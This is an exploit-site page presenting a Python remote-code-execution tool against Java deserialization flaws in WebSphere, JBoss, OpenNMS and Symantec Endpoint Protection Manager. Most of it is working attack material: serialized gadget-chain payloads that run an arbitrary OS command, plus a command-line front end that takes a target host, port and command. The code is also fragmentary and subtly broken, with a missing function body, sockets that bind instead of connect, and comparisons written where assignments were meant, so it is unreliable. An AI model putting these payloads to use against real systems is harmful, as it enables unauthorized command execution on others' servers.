Exploits / Vulnerability Discovered : 2016-07-20 |
Type : remote |
Platform : multiple
This exploit / vulnerability Websphere/jboss/opennms/symantec endpoint protection manager java deserialization remote code execution is for educational purposes only and if it is used you will do on your own risk!
def hex2raw3(teststr):
"""
This function takes a string (expecting hexstring) and returns byte string
"""
# From: HexToByte() at http://code.activestate.com/recipes/510399-byte-to-hex-and-hex-to-byte-string-conversion/
bytes = []
teststr = ''.join( teststr.split(" ") )
for i in range(0, len(teststr), 2):
bytes.append( chr( int (teststr[i:i+2], 16 ) ) )
return "".join(bytes)
def symantec_endpoint_attack(HOST, PORT, SSL_On, _cmd):
# The below code is based on the symantec_endpoint_prot_mgr_2015_6554.nasl script within Nessus
"""
This function sets up the attack payload for Symantec Endpoint
"""
def opennms_attack(HOST, PORT, _cmd):
# The below code is based on the opennms_java_serialize.nasl script within Nessus
"""
This function sets up the attack payload for OpenNMS
"""
clen = len(_cmd)
d1 = '\x4a\x52\x4d\x49\x00\x02\x4b'
d2 = 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0\x00\x00\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x21\x73\x71\x00\x7e\x00\x1c\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74'
d2 += '\x00' + chr(clen)
d2 += _cmd
d2 += '\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
print("[i] Sending initial packets to OpenNMS RMI service")
s.sendall(d1)
retdata = s.recv(8192)
if retdata:
#
# We have received some data suggesting the OpenNMS RMI Registry has responded.
# Time to exploit.
#
print("[+] OpenNMS RMI service responded. Sending the exploit code...")
s.sendall(d2)
else:
print("[-] Sorry, the RMI service didnt respond. Revert to manual attack.")
return 0
def jboss_attack(HOST, PORT, SSL_On, _cmd):
# The below code is based on the jboss_java_serialize.nasl script within Nessus
"""
This function sets up the attack payload for JBoss
"""
body_serObj = hex2raw3("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
def websphere_attack(HOST, PORT, SSL_On, _cmd):
# The below code is based on the websphere_java_serialize.nasl script within Nessus
"""
This function sets up the attack payload for IBM WebSphere
"""
serObj3 = hex2raw3("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") # Setup initial parts of the payload packet
cleng = len(_cmd) # Get the length of the payload
serObj3 += chr(cleng) + _cmd # Convert the length to byte string, prepend to the payload and concatenate with the serialised payload.
serObj3 += hex2raw3("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A") # Complete the payload packet
serObjB64_3 = base64.b64encode(serObj3.encode('ascii', errors='ignore')) # Base64 encode the whole payload
Options:
-t Target (required)
-p Port (required)
-c CMD (required)
--serv Target Service (default: websphere)
--ssl Use SSL (default: OFF)
--test Test if target is vulnerable (default: OFF)
""".format(version=version), formatter_class=argparse.RawTextHelpFormatter)
cmdparser.add_argument("-t", "--target", default="127.0.0.1", help="Target host", required=True)
cmdparser.add_argument("-p", "--port", default="", type=int, help="Target port", required=True)
cmdparser.add_argument("-c", "--cmd", default="", help="OS command to execute")
cmdparser.add_argument("--serv", default="websphere", choices=["websphere", "opennms", "jboss","symantec"])
cmdparser.add_argument("--ssl", action="store_true", help="Use SSL for target service")
cmdparser.add_argument("--test", action="store_true", help="Use to test for vulnerability")
cmdargs = cmdparser.parse_args()
if cmdargs.test:
answ = input("[i] Before we start, I highly recommend you start Wireshark (filter: icmp.type == 8) or ICMPListener, now. Ready? (y/yes) ")
if answ.lower() == 'y' or answ.lower() == 'yes':
print("[i] Awesome. Lets ask the target server to ping our system")
tgtos = input("[?] What do you think the target OS is (win/unix): ")
if tgtos.lower == "win":
host_ip = input("[?] Provide LHOST: ")
print("[i] Windows target selected. Sending \'ping -n 5 <attack_ip>'\ to target.")
cmdargs.cmd == "ping -n 5 %s" % host_ip
else:
host_ip = input("[?] Provide LHOST: ")
print("[i] Unix target selected. Sending \'ping -c 5 <attack_ip>'\ to target.")
cmdargs.cmd == "ping -n 5 %s" % host_ip
else:
print("[i] Lazy bugger.. right, I am gonna continue anyway.")
if cmdargs.serv == "websphere":
print("[i] WebSphere selected as target app.")
if cmdargs.test:
websphere_attack(cmdargs.target, cmdargs.port, cmdargs.ssl, cmdargs.cmd)
else:
if cmdargs.cmd == None:
sys.exit("[x] You didnt provide any command to run. Exiting..")
websphere_attack(cmdargs.target, cmdargs.port, cmdargs.ssl, cmdargs.cmd)
elif cmdargs.serv == "opennms":
print("[i] OpenNMS selected as target app.")
if cmdargs.test:
opennms_attack(cmdargs.target, cmdargs.port, cmdargs.cmd)
else:
if cmdargs.cmd == None:
sys.exit("[x] You didnt provide any command to run. Exiting..")
opennms_attack(cmdargs.target, cmdargs.port, cmdargs.cmd)
elif cmdargs.serv == "jboss":
print("[i] JBoss selected as target app.")
if cmdargs.test:
jboss_attack(cmdargs.target, cmdargs.port, cmdargs.ssl, cmdargs.cmd)
else:
if cmdargs.cmd == None:
sys.exit("[x] You didnt provide any command to run. Exiting..")
jboss_attack(cmdargs.target, cmdargs.port, cmdargs.ssl, cmdargs.cmd)
else:
print("[i] Symantec Endpoint selected as target app.")
if cmdargs.test:
symantec_endpoint_attack(cmdargs.target, cmdargs.port, cmdargs.ssl, cmdargs.cmd)
else:
if cmdargs.cmd == None:
sys.exit("[x] You didnt provide any command to run. Exiting..")
symantec_endpoint_attack(cmdargs.target, cmdargs.port, cmdargs.ssl, cmdargs.cmd)
print("[i] Thank you for using this tool. Contact author for any comments.")